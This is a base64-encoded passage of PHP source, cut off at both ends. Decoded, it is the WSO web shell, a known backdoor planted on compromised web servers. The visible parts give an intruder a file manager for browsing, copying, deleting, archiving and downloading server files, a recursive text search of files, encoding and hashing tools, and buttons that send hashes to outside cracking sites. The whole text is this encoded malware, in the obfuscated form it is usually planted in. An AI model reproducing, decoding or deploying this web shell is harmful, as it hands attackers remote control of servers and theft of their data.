5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQlXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7DQoJCQkJCVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPc2V0Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQogICAgd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPmZpTEUgbUFuQWdFcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCgkkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJCSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0KCX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkNCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpDQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPnNUUmlOZyBjMG5WZVJzaTBuUzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5zRUFyQ2ggZmlMRTo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnIHdpZHRoPSc1MCUnPg0KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleFQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPnBBdEg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+bkFtRTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoNCglmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7DQoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykNCgkJCSRwYXRoLj0nLyc7DQoJCSRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgew0KCQkJZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsNCgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7DQoJCQkJCWlmKCRwYXRoIT0kaXRlbSkNCgkJCQkJCXdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkNCgkJCQkJCWVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKEAkX1BPU1RbJ3AzJ10pDQoJCXdzb1JlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KCWVjaG8gIjwvZGl2Pjxicj48aDE+c0VBcmNIIGYwUiBoQXNIOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7DQoJCQl9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpDQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX1leGl0Ow0KCX0NCglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQoJCQlpZigkZnApIHsNCgkJCQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPmZpTEUgdDAwTHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQoJCXdzb0Zvb3RlcigpOw0KCQlyZXR1cm47DQoJfQ0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCglpZighJHVpZCkgew0KCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsNCgl9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KCWVjaG8gJzxzcGFuPm5BbUU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcn